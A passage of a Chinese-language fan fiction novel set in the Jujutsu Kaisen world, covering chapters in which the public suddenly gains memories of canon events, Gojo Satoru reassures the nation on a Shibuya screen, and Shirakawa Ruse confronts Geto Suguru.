刚经历过如此刺激的直播,谁也不能马上投入生活工作或者学习里,讨论热度比刚刚更大。 “不会吧,白川是政。府的人。”高桥考虑片刻,马上摆烂,“我们还是报以乐观的态度,相信政。府会解决这件事。” “要不要把神秘人是政。府的人发到网上?现在大家的情绪都很焦虑,知道了这个消息可能会安心一点。” “千万别!”高桥按住他的手机,“别忘了保密条例,黑泽,别做出头鸟。” 黑泽被吓了一跳,手机摔在了地上,高桥帮他捡起来,发现黑泽又吓到一样,从椅子上跳起来。 “高桥,你有没有……,”他捂着脑袋,眼中惊惧不安,“脑子里出现不存在的记忆?” 高桥:“没有,你是怎麽回事?要去我的诊室看看吗?” 黑泽:“我的精神绝对没问题。” 真是奇怪,为什麽脑子里会出现一个粉色头发的少年,和一个身材高大,穿着宽大白色和服的人打架的画面。 “……如果有问题,那也可能是集体精神错乱。”高桥不停刷新着页面,看着论坛上冒出来的信息。 [我脑子里忽然出现了莫名其妙的记忆,都是些不认识的人,我怀疑和刚刚那些人有关。] [我也是,大家都是吗?] [我没有。] [我也没有。] [我出现了,我看到五条悟了,还有夏油杰,什麽情况,他们好像是朋友?] [什麽?什麽惊天秘闻,多说点啊。] [没有更多了,我只看到短短的几秒,就两人一起在海边而已。] [我也只能看到很短的画面。] [我看到的是一个粉头发少年因为未成年去柏青哥店被审判,什麽鬼,好抽象。] [为什麽我看不到?你们能看到的共通点到底是什麽?] 第77章 整个霓虹乱成了一锅粥 7月的天阳光滚烫,透过被轰出来的洞,直直投射到高专最底部。 五条悟感到阳光照在皮肤上的微灼。 一切闹剧都消散了,此刻高专地底鸦雀无声,只留他一人站立。 还有恋恋不舍,并且究极黏人的琉世。 锁链缠绕着他的上身,那是琉世在拥抱他。 “这麽着急就跑掉了,还是有麻烦?” 抚摸了两下锁链,感受琉世逆向传导给他的情绪,担忧、安抚,以及蓬勃爆发,满到溢出,犹有余韵的保护欲。 明明说好了让他耍帅,结果让琉世装了个大的。 竟然搞了个笼罩全日本岛的“领域”出来,直接把凝聚了一亿余人愿力的帐挤破了。 [有点麻烦需要处理。] 黑线在他眼前匆匆组成日文,刚拼成就马上消散,迫不及待地组成下一句。 [很快回来,外面会乱上一段时间,辛苦你了。] [七天,最晚七天我就回来。] 不辞而别是两人隐秘的伤痛,拼尽最后一点时间,白川琉世留下了一个时限,然后锁链匆匆撤回,空间裂缝也火速关闭。 很少看到琉世这麽手忙脚乱的样子,看来确实遇到了棘手的事。 刚遇到究极电车难题就被强行打断,有种疯狂动脑结果被收走试卷的无力和拳头蓄力半天却不让打出去的憋屈。 他其实并不介意把一切轰成碎片。 但是,这是琉世的心意。 五条悟来到地面,听到铃声响起,看也不看,直接接了。 现在一定好多人给他打电话,第一个幸运儿是谁呢? “五条老师!” 虎杖悠仁激动的声音传来,还是他可爱的学生手速快。 “悠仁,才放假几天就想老师了?一个两个都这麽黏人。” “太好了,你还活着。”虎杖悠仁带了点哭腔,“我还以为……” 等等,悠仁怎麽会这麽想,别人不认识琉世,悠仁总不会不认识吧? “吓傻了?”他询问学生。 “不是的,顺平,你放开我。”那边传来轻轻的窸窣,似乎他的另一个学生也在一旁,过了一会,又传来悠仁的声音,“老师,你那边没有危险了吗?” 五条悟:…… “老师身边什麽时候有过危险?”五条悟有种被学生小看的不爽,“如果不是琉世把他们打包带走了,我一秒钟就能把他们碾碎。哈,你到底对五条老师的实力有什麽误解啊?” “我看到宿傩他——。” 听到那个名字,五条悟脚步停下,眉心一皱。 那些事他和琉世一直瞒着悠仁,按照恋人的说法,宿傩已经没了,出不了岔子,那种被宿傩受肉的阴间事没必要再毒害悠仁的大脑。 “五条老师,”电话马上被另一个学生抢过,吉野顺平焦急地说,“你上网看一下都知道了,大家出现了好多莫名其妙的记忆,都是关于咒术界的。” 记忆? 五条悟敏锐地察觉到什麽。他踢开废墟旁的石子,用手遮了遮毒辣的太阳,想着一会去自动贩售机那买罐可乐喝。 “五条老师,白川先生他还好吗?” 果然,顺平肯定会问琉世的情况。 “琉世去异世界出差了哦。” 这麽着急地离开,大概是因为顺平说的那个原因。 * “竟然是这麽好看的孩子。”银白色的长发扎在脑后,白川绊子边划拉手机,边忍不住赞叹,心神还没从刚才的震撼中回过来。 “这句话你已经重复了好多遍了,绊子。” 愈史郎已经是个经历丰富的鬼了,遇到刚刚的事也没太惊讶,倒了两杯茶在桌上,坐在绊子对面。 “但是我没想到是这麽耀眼的孩子。”白川绊子年过半百,性格依然和年轻时一样开朗,“琉世之前回家,说要先拜访对方家里,才能把恋人带回来,还跟我说什麽礼节。哎呀,果然爱情让人成熟。” 愈史郎少有表情的脸也展露笑容,“琉世眼光其实非常高,从小就是。” “真是超规格的高,想想以后能经常见到这个孩子,我就好开心。” “心地也很不错,琉世失踪的时候,还联系到产屋敷家,关心你的安危。” 这种类型的谈话,让愈史郎隐约有种熟悉的感觉。当初他也是对着绊子爱人的照片,和绊子的父母一起新奇又慈爱地评判着。 不知不觉,看着好多鬼杀队后人的孩子过上了幸福的生活。 “我儿子上辈子拯救了世界。”白川绊子笑得合不拢嘴,“他们什麽时候拍张合照呢,我要放在卧室里。” “你是一点也不关心琉世的安危啊。” “有什麽好担心的,他之前一副天上天下,唯我独尊的拽样子,明明小时候那麽可爱。” 也不是一点都不担心,但琉世总能刷新她的心理承受上限。想起之前儿子一脸认真地向她解释,“妈,只要自己不想,神是不会死的。”然后为了验证自己说话的可信度,一天内带她到全国几十个景点打了卡,又顺手柄愈史郎先生的血鬼术给勘破了。 愈史郎:…… “好像确实不需要担心他。”他也低头划拉手机,“你儿子这辈子好像也要拯救世界了。” “算了吧,他根本不像,就那个出场方式,像不像游戏开始露个脸,最后一章再冒出来的反派。哦不,他连脸都没露清楚。” 愈史郎本来想温和地谴责一下绊子对儿子的刻薄,但想想好像真是那样,百岁冻龄美少年失声一笑,“我们最该担心的,是琉世会不会被网暴,大家对他的误解好像很大。” “不会的。”绊子笃定地说,“那孩子的性格我了解,看起来受欺负,只是他自己心里不在意,如果真的不舒服,是一点亏也不会吃的。” 琉世什麽都能做到,对视间,两人不约而同地想。 * 今夜,咒术界无人能眠。 整个日本岛都没有几个人能睡着觉。 羂索留给他们的礼物后劲太大了,就算没有天元的事,让所有日本人看到咒灵,同样能引发延绵不绝的震颤。 首先是很多普通人在刺激下获得了看到咒灵的能力。 其次因为天元的消失,加上全国人民的情绪波动空前地大,各种恐惧和压力下,咒灵将会滋生的越来越多,预计级别都不低。 压力给到了七海建人这边。 还好白川不是什麽都没留下,在九十九的主导下,科咒部启动了应急结界设备,笼罩全日本的结界暂时代替了天元的作用。 [“白川一直在里面存储力量,能代替天元抑制咒灵的生成的速度和强度,但目前只能维持一个月,如果缩短到五条君所说的7天,强度能提升到天元曾经维持力度的四倍。”] 七海对此事并不震惊,让他惊讶的是九十九十分熟悉地启动设备的动作。 [“九十九部长原来真的在做研究。”] [“喂,说的什麽话,我也是愿意为了目标努力的人啊!”] 然后就是舆论问题,那件事没头没尾地出现在所有人眼前,到底有什麽结论?五条悟和那个神秘人最后怎麽样了?天元和夏油,还有盘星教教众到底去了哪里?不管是谁说的恐怖计划,有哪个已经在世人都不知道的情况下启动了吗? 政。府零个发言都没有,离谱!或许民众不该寄希望于政。府,而是要靠自己的双手找到答案。 民间奇人辈出,上街游行还算小意思,还有人真的找到了东京咒高,要强行进入打卡。大部分人最主要的活动还是上网冲浪,J-talk专门开了个板块用于讨论咒术界,出现脑内记忆的那些人互相分享记忆,有专业的帖子根据时间和逻辑顺序梳理记忆,没有出现脑内记忆的也看得起劲,七嘴八舌讨论起来。 干正事的有,不干正事的也有,五条悟全球后援团已经成功组建,几个小时就在Tw上吸引了百万粉丝,同人女或许还有同人男厨力爆炸,当时没法拍照,没有照片和影像留下来,但网上已经有好多手搓画像流传,又迅速吸引了一批国外粉丝。 不过盛况难久,政。府的第一项举措,就是严禁在Tw、In等国际性社交平台发布关于此事的任何讨论,带有关键字的内容干脆发不出去,本土论坛J-talk成为唯一指定官方交流平台。 这是打算把舆论限制在日本国内。 果不其然,这种上来先考虑捂嘴的行为,遭到了岛国人民的激情谩骂。 七海疲惫地仰面靠在椅背上,不明白短短半天自己肩上为什麽扛了这麽大的责任。他并不是适合当领导者的类型,代班几天已经把咖啡当水喝了。 高层那些人把责任全推干净了,反正白川的录音说的非常清楚,一切交给七海负责。也是因为这个,七海的权力在总监部达到了顶峰。 所做的一切都没人阻碍,仿佛白川在做决定一样。 应急结界设备发挥了作用,但看到咒灵的人数太多了,引发了一系列社会问题,政。府和咒术界忙成了一锅粥。好消息是再也不用下帐了,那玩意在日本人民面前狠刷了次存在感,此后将彻底退出历史舞台。 [“我去祓除咒灵了,七海,接下来的事交给你了。”] 名存实亡的上司丢下他跑去做体力活了,七海没有强留九十九,这时候每一个能战斗的特级都十分有用。 刚刚和政。府争取完,至少保留一个让民众讨论咒术界的平台,没办法做到让所有人一忘皆空,那麽堵不如疏,有合理的发泄地点和消息了解渠道,有利于稳定民众情绪,减少咒灵的产生。 然后就是想办法联系御三家的人,那几家养着一批表面上总监部可以抽调,但实际上很难说的咒术师,之前因为白川的改革,他们也开始承担任务,这让七海有了信心。 五条家是没问题,没想到其他两家和一些中小咒术师家族也相当积极,简直感动总监部。 “他们没那麽好心,这次属于国难,不积极点以后躲不过清算。”五条悟带着嘲意的声音从手机中传来,他此时也在祓除咒灵。 “有一些事项我想听取你的意见,你知道,白川把这些都扔给我了……” “既然都交给你了,想做什麽就做什麽吧。” “有一些需要你配合,如果没有意见,时间紧迫,一会我让五条小姐把计划发给你。” 不得不承认,五条在大事上其实相当靠谱,七海挂了电话,从四点忙到夜幕降临,他疲惫的大脑终于有时间 回想自己看到的画面。 半边身子被烧焦的金发男人,面目可怖,带着笑容看向一个方向,轻轻开口。 [“后面就拜托你了。”] 那是他自己的脸。 未来?幻觉?平行世界? 还是……已经被更改的现实? 第78章 那这些记忆有什麽用 “悟大人,你有没有出现那些记忆呢?” 五条葵在五条悟身旁,一起走过长长的走廊。一个穿着高专的制服,一个穿着总监部的职业装,两人自从那件事后一直在工作,没有睡觉。 “当然了,这麽时髦的事怎麽会把我落下。” 五条悟依然容光焕发,扬起轻松的笑意,五条葵却精力不济,黑眼圈明显,她强打起精神问,“嗯?那是什麽呢?为什麽我没有那些记忆,好气啊。” “没什麽,小时候的事,偷偷跑出去玩被诅咒师拦住了。” “只有这个?” “咦?你那是什麽失望的表情。” 她还以为全世界最特殊的悟大人,能看到更特别的东西呢。 走廊尽头的门挂着第1演播室的牌子,五条悟推门而入,数百平米的空间十分宽敞,天花板上固定着多台摄像头,不远处有三脚架、调音台等专业设备。已经有几个工作人员站在设备旁,松岛优奈和小林沙耶也在其中。 朝月TV这次抽中了大奖。 因为松岛优奈的一次冲动,意外抓住了首播全日本目前最火爆消息的机会。 * 7月12日。 事情已过去了一天两夜。 政。府也不是什麽都不做,昨天公布了咒术界的存在,详细说明了咒灵产生的原因,以及咒术界目前有能力平息此次突发事件,劝诫民众保持乐观、平稳的心情。同时,对咒术师的能力来源语焉不详,只公示了这一特殊人群有祓除咒灵的能力。 政。府下发了针对咒灵的生存指南,包括如何分辨咒灵级别,普通人看到咒灵,不要对视,装作看不到赶紧走开。如果遇到主动攻击的咒灵,尽快拨打报警电话,警察会就近联系附近的咒术师前往。 咒灵爆发的峰值是10号晚上,人类的接受能力一向很强,到了12号,情况已经平稳了很多。 所以禅院直哉才有空继续刷论坛。 禅院家的炳和躯俱留队几乎全部出动,他当然不想出去,但白川琉世万一回来,事后清算拿他开刀就不妥当了,只能咬牙出去祓除咒灵。 论坛里新开了一个咒术讨论版块,离谱的是,全都是些普通人在谈论咒术。他们咒术师依旧需要遵循一定程度的缄默原则,只能由政。府替他们发声。 论坛开了几个官方帖子,一个交流大家忽然出现的脑内记忆,一个交流关于10号下午虚影的讨论,还有一个禁止留言,是专业人员根据前两个帖子梳理出的内容,浏览人看到和自己理解不对的,可以私信管理员之一论证。 觉醒记忆的人是一批一批出现的,这两天又陆续出现了看到陌生记忆的人。不管是政。府还是总监部,要弄清楚这回事,必须借助有所人的力量。 嘁,至少得几千万人在上面留言了吧,这不得把J-talk挤爆了。 禅院直哉点进了交流记忆的帖子。 [那个拿着锤子钉子的女孩叫钉崎野蔷薇,我看到她自我介绍了。] [钉崎野蔷薇是我国中同学啊?你看到的钉崎是什麽样子?] [到现在我还想问,那些出现在我们记忆里的人,真的是现实生活中存在的?] [我也很奇怪,但很多人看到的“虎杖悠仁”我也看到了,我能确定那是我国中同学。] [伏黑哥也是,我被他揍过。] [但是不对啊,我看到虎杖参加了宫城县杉泽第三高中的灵异社,我和两个前辈很熟,灵异社根本就没有第三个人,而且很快就解散了。] [你没看隔壁的帖子吧?早就爆出来了,宫城那个高中根本没有虎杖悠仁入学。他确实是真实存在的人,但记忆和现实有出入。] [我看到悟死去的样子,什麽啊啊啊啊啊啊,假的,一定是假的!这个世界是虚假的!] [他是五条悟,不是卡卡西,宇智波带土你冷静一下。] [那麽多人都看到了,怎麽能说是假的啊?] [但现实和记忆有出入,记忆不代表是发生的事。] [我更不明白了,如果记忆是虚假的,为什麽会存在于我们的脑海,有什麽意义?] 禅院直哉不停刷新,每次都能刷出来几千条消息,根本没耐心挨个看过去。热度最大的几个人,是虎杖悠仁,五条悟,伏黑惠,钉崎野蔷薇,夏油杰,宿傩,乙骨忧太…… 为什麽是他们? 禅院直哉感到不解。 同样不解的大有人在,大家不停讨论为什麽会看到这些人的事,但都没个定论,直到他刷到一个熟悉的名字。 [我看到一个里面穿衬衫,外面穿和服的人,被一个穿和服的女人从背后捅了。]?! 那是白川说过的话。 他早就知道……?! 继续查看消息,果然,没人提出自己看到有关“白川琉世”的事。他马上点进官方第二顺位的帖子,那是关于10号事件的讨论。 所有人像在玩实景探案游戏,一起拼凑场景线索,还真让他们通过宿舍姓名牌,把东京高专的学生都列了出来。 [故事是围绕这所学校开展的。] [如果是少年jump,这些人算是主角团了。] [你还真别说,少年jump全部漫画家休刊一周,被政。府征用画那些记忆了。] [用画画的方法,确实更直观。] [不会侵犯别人隐私权吗?] [拜托,是他们的隐私自己钻进大家脑子里的。] [隔壁帖子里,为什麽没人有关于白川的记忆?他的宿舍就在那,旁边的熊猫、狗卷、乙骨都有“出境”吧?] [对啊,我也觉得最大的谜团在他那,一开始池田说了,那个帐就是为了拦住他设立的。] [应该是像五条悟那样,来了就能破局的人,但为什麽只是把他拦在外面,五条悟却进来了?] [很生气日行一善(看大乐子版):如果日本人再多一倍,可能就都拦住了。] [神经网友,别说地狱笑话了。] [搞不清楚…,太混乱了,最后那个神秘人是白川琉世吗?隔壁禁言贴,政。府也没公布神秘人到底是谁,但公布了白川琉世是正方人物。] [根据宿舍的位置,他和熊猫应该是一级的,所以白川琉世可能是高专二年级学生。] [禁言贴又更新了。] [硬猜的话,我觉得神秘人就是白川琉世,但感觉最后那个不像正方人物,所以还是不是吧?] [是不是的无所谓,五条悟最后打赢了吗?] 神经。 他们竟然真的一直在猜五条悟和白川琉世打起来了。 禅院直哉无语到极点,咒术师有自己的交流网站,就算有的咒术师没见过白川,一传十十传百,也知道了那个神秘人是谁。 咒术界最特殊的两个人,五条悟和白川琉世,一个拥有公认最强的实力,一个把左右咒术界的权力牢牢握在手里。 白川只活跃了半年多,很多咒术师不了解他的实力,根据最后消失的画面,猜测他的术式与空间系有关。 但是没关系,就算白川和天元一起就此消失了,还有五条悟。 最强是咒术界的定心丸,有他在,咒术师们潜意识里有天塌下来五条悟顶着的感觉,整体还算镇定。 哈哈,不如说还挺有意思,咒术师都是疯子,面对这种乱况,有很多人边加班,边过出了狂欢节的氛围。 * 钉崎野蔷薇是高专一年级生里精神状况最好的那个。 两个少年大热天戴着斗篷和口罩,鬼鬼祟祟躲在路旁。这里非常繁华,钉崎递给虎杖一根冰棒,两人面朝墙壁,赶紧摘掉口罩大口吃冰。 “呼,刺激。”她咯吱咯吱嚼着冰棒,对着手机上的内容大声抱怨,“什麽啊,把我画的有点普通了,这是哪个大叔乱画的?我的话,怎麽也算少年jump女主角的规格。” “你的眼珠掉出来了啊!竟然在意画的好不好看!”虎杖多少有点崩溃,钉崎看的那格漫画,是禁言贴里漫画家根据专业人士梳理的记忆信息画出来的。 今天一直在祓除咒灵,虎杖没空看另两个帖子,直奔消息最直白靠谱的禁言贴。政。府似乎发动了很多人整理内容,完全按照时间线,把“记忆”一层一层楼发布出去,楼中楼则是根据本层信息画的漫画。 画得还挺像的,毕竟是好多人的脑内记忆,虎杖觉得漫画里的他和本人没啥差别。 只是为什麽他的篇幅那麽多啊! 最开始的内容竟然是宿傩,那个让虎杖十分好奇,却无从了解更多的家夥。 千年前的事他也不了解,匆匆看过后,来到了五条老师的篇幅。 “是五条老师小时候。”虎杖举着手机给钉崎分享,画中的小孩七八岁的样子,小脸精致,但表情淡漠,穿着和服,被大人牵着手走着。漫画家没有上色,那位作画者还专门在旁边备注了一句。 [眼睛没有上色,是大家都清楚的漂亮蓝色,说实话,就算让我上色我也没信心呢。] 钉崎凑近,紧锁眉头认真看了一会,“你有没有发现,五条老师小时候的气质,和现在不能说一模一样,只能说完全相反。” 虎杖连连点头,若有所思,“原来是长大变开朗的类型。” “他也开朗太过了。”钉崎戳着虎杖的手机屏,“开朗到偷穿我的制服裙子!真不敢相信这两个是一个人。” “哈哈,恶作剧起来好像我们同龄人,一点也不像老师。” “有点白浪费他那张脸了。”钉崎锐评,“算了,反正已经找到帅气男友了。” 东京涩谷街头,道路宽阔,高楼林立,各色广告牌错落有致,一片繁忙景象。 虎杖和钉崎正站在被誉为“全世界最繁忙的十字路口”边。高处,播放广告的巨大电子屏忽然黑屏,音乐戛然而止。 做任务已经麻木的二人下意识看过去,有的咒灵能干扰磁场,不会又出事故了吧? “哟,大家好!” 还好不是,虎杖听到熟悉的声音,开心地想要回应,“五条老师——诶?!!” 不是本尊,五条悟的脸出现在涩谷街头最大的电子屏上。俊美的容貌,澄澈的苍蓝眼眸,刚一出现,就硬控了街头所有行人。 据说这里每分钟约有3000人穿梭而过,虎杖不知道现在有多少人,但所有人都被按下暂停键,仰着头看向同一个方向。 “是五条悟!他还活着!” “他没事,太好了!” “这证明麻烦解决了吧?” “肯定是这样。” 似乎在回应行人的疑问,屏幕里的人俏皮地wink一下,“我是五条悟,简单来说,理解为最强就行了。” “最强的意思是,整个咒术界,整个日本,整个世界的最强。”屏幕里的人,就算面容被放大,也呈现无死角完美的帅气,真的像撕开漫画走出来的人物。 “所以你们什麽也不用担心,乖乖做好自己的事,嗯?”最后一道轻哼,半分询问,半分安抚,听得人耳朵酥酥麻麻。 包括打招呼,只说了短短四句,随后屏幕就灭了,继续放起了广告。虎杖看到行人欢呼起来,大家热情高涨,五条老师的放送很有效果。 虎杖:“忽然变得像大明星一样,超级拉风。” 钉崎:“变成公众人物会很麻烦,该死,我们全都被迫变成公众人物了,虽然之前想过出名但不想通过这种方式啊!” 虎杖:“还好我们不用像五条老师那样做公众发言,他竟然一点都不紧张。” 钉崎:“什麽啊,我感觉换成你,你也不会紧张。不过没办法,10号那天的事,普通人不认识白川先生,五条老师出面展示一下自己安然无恙,能稳定那些人的情绪。” 虎杖不太明白,既然咒术界都暴露了,为什麽很多事还继续藏着掖着,包括白川先生的身份和好多他也一知半解的细节。 还有梳理出的那些记忆,真奇怪,他明明国中一毕业就进入了咒术高专,根本没上宫城的高中,也没被宿傩受肉,那些乱七八糟的情节是怎麽回事? 不过,虎杖又看了眼电子屏,心里忽然有了力量。 既然有五条老师在,一切就都没问题,他接着做好自己的事就行了。 第79章 你给蚂蚁搬过家吗? 远处是古朴的村落,火把燃起,一片火光点点。温暖的橘色,在静到毫无声息的此处,也显得鬼气森森。 朱红的鸟居伫立身旁,在夜色的映衬下,赤的发邪。短短的参道尽头,是供奉神祗的本殿。 “哟,夏油前辈。” 夏油杰转身。 熟悉的称呼让他大脑一瞬间错乱,但远处静静站立着的众多盘星教教众,浮在半空,不知生死的天元,以及变化颇多的白川琉世,把他拉回现实。 这是他十一年后第一次见到对方。 白川相貌没太多变化,高专制服换成了衬衫和休闲款西装外套,气质完全换了个人,特别是脸上的表情,虽然露出一丝笑意,但给人的感觉却不达眼底。 四周没有一丝声响,那些盘星教教众像蜡像一样,面目可笑,并一动不动。 “你杀死了他们?” “怎麽会,他们不会死在悟或者我手里。”白川琉世随手一捞,手边凭空出现了一把椅子,他坐了上去,“到时候扔给政。府,法律、民意,还是其他什麽,枪毙、注射死亡、无限期监禁?那是其他人的事。” 果然,变得如传闻中一样,极端狡猾。 白川琉世不想让自己或者五条悟染上一点舆论风波。 夏油:“不生气?他们可是相当碍事,给悟造成了很多麻烦。” 白川:“蚂蚁被人扔进甜品里,你会对蚂蚁生气吗?” 夏油轻笑,“你生羂索和我的气。” 白川:“羂索嘛,弄巧成拙,还把我有些苦手的事干脆利落地推了一把,而且,我本身对他没有期望。” 羂索和宿傩没什麽不同,只是需要除掉的障碍。 “而你,夏油……” 白川琉世的话没说完,夏油明白他的意思,“而我,夏油杰,作为五条悟的挚友,你无法对我动手。” “以前确实是这样。你知道那个帐的效果吗?不要撒谎,我全都清楚。”白川琉世靠在椅背上,找了个舒服的坐姿,“以防你不明白,叫你不要撒谎的意思是,不要故意往对你不利的情况说,我知道你想寻死。” “不知道。”夏油倒是很坦然,来到这里后,他的心绪异常平静,“我猜羂索会用某种手段阻止你们,但没想到他只打算把你拦在外面。在我的预想中,我希望来的人是你。” 白川:“你打算死在我手里,确实是天才的设想。但悟动手的概率也不低,你不可能想不到。” 夏油露出微妙的笑容,“是的,计划没办法完美,有用就行,不管你们谁来,都能杀了羂索。” “就算让悟亲手杀死你。” “就算让悟亲手杀死我。” “你为了自己的目标,什麽都不会顾忌,真是一点没变啊。” 其余的不用多说,白川琉世不难猜出夏油的动机,按照原来的发展轨迹,夏油不被任何人影响,自然地走上视普通人为猴子,创建只有术师世界的道路。但现实发生了变化,或许是他的出现影响了羂索,羂索对夏油的思想进行多方介入,这反而让夏油在得知羂索的提前谋划后,对自己的思想产生了疑惑。 夏油杰是个相当高傲的人,不会允许自己的理想是别人设计的结果。 他对自己所走的道路产生了怀疑。裂缝一旦产生,只会愈演愈烈。 “嗯,是啊,没什麽好瞒着你的,你洞察人心的才能不是超强吗?”夏油张开双臂,“既然把我的术式和咒力都封印了,怎麽还不动手?” “你还真是生性乐观啊。”白川琉世讶然地笑了,“有没有一种可能,不是我做的。天元吸收到极致,先是吸收干净你的咒灵和咒力,又破坏了你的术式。简单来说,你现在没有术式和咒力了,一点也没有。” 有点地狱了。 一向不把无咒力的普通人当人看的夏油杰,失去了所有咒力。 “我想问一下,纯属好奇。”白川琉世看着震惊地站着,难以消化这个消息的夏油杰,问道,“你评判别人的标准,会因为自己情况的改变而改变吗?” 冲天的怒火。愤怒、痛苦、矛盾,虽然夏油表面上不动声色,但白川琉世感受到了剧烈的情绪波动。 “你想嘲讽我,猴子这种标签,最后兜兜转转回到了我自己身上?” “没人说你是猴子。”白川琉世半举起双手,是开玩笑的揶揄姿态,笑容有了高专时期阳光开朗的影子,“这有点难界定,比如……” 他把咒力全部收起来。 “无咒力。” 在面面相觑的沉默中,又把咒力放开了一些。 “中咒力。” 马上,极致的压迫感笼罩两人中间,那是比起夏油曾经的咒力总量,还要庞大数倍的咒力。 “大咒力。” 白川琉世接着调档,要把所有咒力放开,届时,无穷无尽的咒力将填满这处空间,“还有超大咒……” “够了。”夏油轻声制止,语气难掩疲惫。 “夏油,你刚才看我,是不是像看到猴子一分钟之内进化成人?真是人类生物史上的奇迹。” 像穿越进荒诞cult片,沉浮数十年,日常工作是真情实感猜测红辣椒下一刻推开的门后是什麽场景,结果忽然站在现实世界的烈日底下,夏油抑制不住笑意,“哈……神经。” 白川琉世是猴子吗?十一年前的白川几乎没有咒力,而现在的白川拥有无穷无尽的咒力,除了咒力,白川还有其他变化吗?当然是有的。所以咒力在白川的人生中能占多大分量呢? 灵能力者是猴子吗?他们也能祓除咒灵,但他们和咒术师不同,如何将他们在“咒术师”和“猴子”的世界分类? 那些曾经被下意识忽略的疑问,一个个新鲜无措地冒出来。 更为尖锐的问题是。 灵幻新隆是猴子吗? “不管什麽灵能力者还是咒术师,灵幻是个好人。” 白川琉世猛不丁地一句话,令夏油汗毛直竖,“你知道我在想什麽?” “不,只是算到你差不多该想到灵幻了。” “……” “人类从出生起就是人类,到死亡也是人类,根本不可能变成猴子,咒术师不过是人类的一种,这是我的理解。你或许认为特殊能力的掌握会使人的实力、处境、思考问题的角度与他人区分开来,但影响人共通之处的仅仅只有特殊力量的掌握吗?夏油,你根本找不到同党,咒术师也好,普通人也罢,整个世界只有你一个人,每个人都只有自己的立场。要麽干脆放弃生命永登极乐,要麽就别纠结把人类划分阵营。” 不如去搞mbti,还能娱乐精神世界。 “说教我吗?所以我说让你干脆动手。” “我不会成全你的,夏油。” 只有你自己可以做到。 “我不审判活人,也从不杀矛盾的人。” * 和夏油的谈话不了了之,那个人没什麽要特别关注的了。 夏油的理想已经崩裂,早就偏离了原定的道路,以后也折腾不出什麽水花来。这种改变或许对他来说是坏事,但白川琉世并不这麽认为。 [在一条路走到黑的人生之外,多出一次选择,夏油,这是多少人梦寐以求的机会,现在的你还并未察觉吧。] 狱门疆在手中抛上,又落下,他踩在神龛翘起的角上,持续关注着世界意识的坍塌。 先是一个小点,然后越碎越多,碎片簌簌落下,霜屑般溶入世界。 麻烦的事情发生了,以前从未发生过这种情况,或许是搞定了宿傩和羂索,世界意识无法再调节事物发展至既定的轨道。 他也不清楚意识消融后会发生什麽,出于谨慎,没有调节时间的流速,而是耐心地等待它的消散。在此之后,应该有新的意识产生,他同样要关注它。 以防又产生那些阴间东西,白川琉世抓着狱门疆的手一紧,那还不如,在旧意识消散的一瞬间,由他主导,把新的主线灌输进去。 这样很好。 “羂索,虽然你没打什麽好主意,但意外的帮了我个忙。” 白川琉世摇了摇狱门疆,“不知道你听不听得到,如果听得到,也别急着高兴,死罪难免,活罪也难逃。” “你给蚂蚁搬过家吗?” 这片空间目前没有别人,夏油、天元、盘星教教众,分别关进了不同空间。只有狱门疆被他偶尔拿出来玩抛接球,完全是因为太无聊。 羂索搞的全日本直播实在恶心,狠狠摆了五条悟一道,让他陷入两难的境地。不过,强行把咒术界暴露出去,并不见得是坏事。 怎麽给蚂蚁搬家呢?在不伤害那些脆弱小东西的前提下? 火烧?水淹?不行,会毁掉一切。把它们拿起来,扫到树叶上搬走?蚁群会恐慌。那只能拿枝叶做路障,堵住其他道路,再拿一些香甜的食物放在想要它们通过的道路上,一点点引导蚁群前往陌生的地方。 白川琉世一直在做这样的工作。 咒术师和《哈O.波特》里的巫师一样,虽然每年都有普通人觉醒,但大多数还是根据血缘传承咒力、术式。这是一个无法后天习得,只靠先天天赋的职业。 平安京时期,咒灵肆虐、妖孽横行,当时人敬畏神灵,咒术师站在幕前。步入现代,社会观念因为种种原因急剧变化,咒术界也迅速神隐,只留在暗处活动。 不过,只要咒灵存在,咒术师就不可能彻底消失,不管什麽时代,当权者的名字从天皇、将军再到首。相,都需要这股力量。 权势最大的御三家,背靠当权,代代传承,直至千年,他们甚至不需要额外费心经营,血脉传承的力量能保证他们永不坠落。 封闭会滋生腐败。 如果咒术界一直这样,又何止是总监部腐朽? 凭借白川琉世的力量,能够整肃一切,但他属于人类的□□死去之后呢?咒术界还会变成原来的样子。唯一的办法就是把腐朽暴晒在阳光下,不管什麽品种的橘子都定期从筐里翻出来,晒一晒,洗一洗,拾掇拾掇。 那些顽固势力肯定不想暴露咒术界,这意味着外界的监察。 本来想细水长流地慢慢来,但羂索上来就把蚂蚁窝砸了。 也行吧,省事了。 第80章 被无数珍重承接 7月15日。 已经不早了,虎杖悠仁趴在床上,磨蹭着不肯起来。 窗帘的遮光性极好,室内依旧昏暗,手机屏的亮光刺眼,他抽搭一声,又抽了张纸巾,擦了擦泛红的双眼。 到了今天,社会运行趋于稳定,已经不需要未成年的孩子加班了。他听到钉崎的脚步匆匆响起,然后是大力的敲门声,“虎杖,快起来,我们得弄点东西吃!” “知道了。”虎杖含糊应了,身体却一动不动。 “刚刚叫过你一次了。”钉崎直接推开门,看到满地揉皱的纸巾,愣了一下,“变态!怎麽能在五条老师家做这种事?” 虎杖马上坐起来,“你在想什麽啊!” 粉发少年眼睛和鼻尖都红彤彤的,让钉崎明白自己闹了个乌龙。而且,意外撞见男同学哭泣也让人尴尬,她佯装没看到,转身走出去,“我去看看冰箱里有什麽。” 现在是八点半。钉崎看着墙上的钟表,五条老师很早就匆匆出门了,没吃早饭,也没带他们出去。 她和虎杖昨天做任务到晚上,精疲力尽,正好遇到五条老师和伊地知先生,五条老师就把他们捎到了自己“家”休息。 钉崎环顾四周,东京繁华地带的大平层,目测有三百平,五条悟这个嚣张男子到底拥有怎样的财力啊!而且,这处房产里面空荡荡的,几乎没有生活痕迹,应该只是他不常回来的一处落脚点。 打开冰箱,同样空荡荡,连个菜叶都没有。 既然如此,像保质期长的面包、饼干或者罐头呢?钉崎在厨房找了找,一无所获,摸着叫急的腹部,来到外面,意外在客厅桌子上看到了五条悟留下的东西。 “这莫非是。”钉崎激动地拿起巴掌大的卡,“传说中的信用卡黑卡?” 女子高中生瞳孔激动地颤抖,把卡贴在脸颊旁,荡漾地笑了几声,拿起卡下面压着的便利贴。 [悠仁 野蔷薇, 去吃早饭吧。] 笔迹匆忙,没画五条老师喜欢画的简笔涂鸦。钉崎捧着卡蹭了又蹭,就算不会真的拿去刷爆,体验一下刷黑卡的感觉也是可遇不可求啊。 虎杖终于从房间里出来了,洗了把脸,眼睛依旧红红的。钉崎大概知道他这样的原因,生性洒脱的女孩把便利贴拍在他手上。 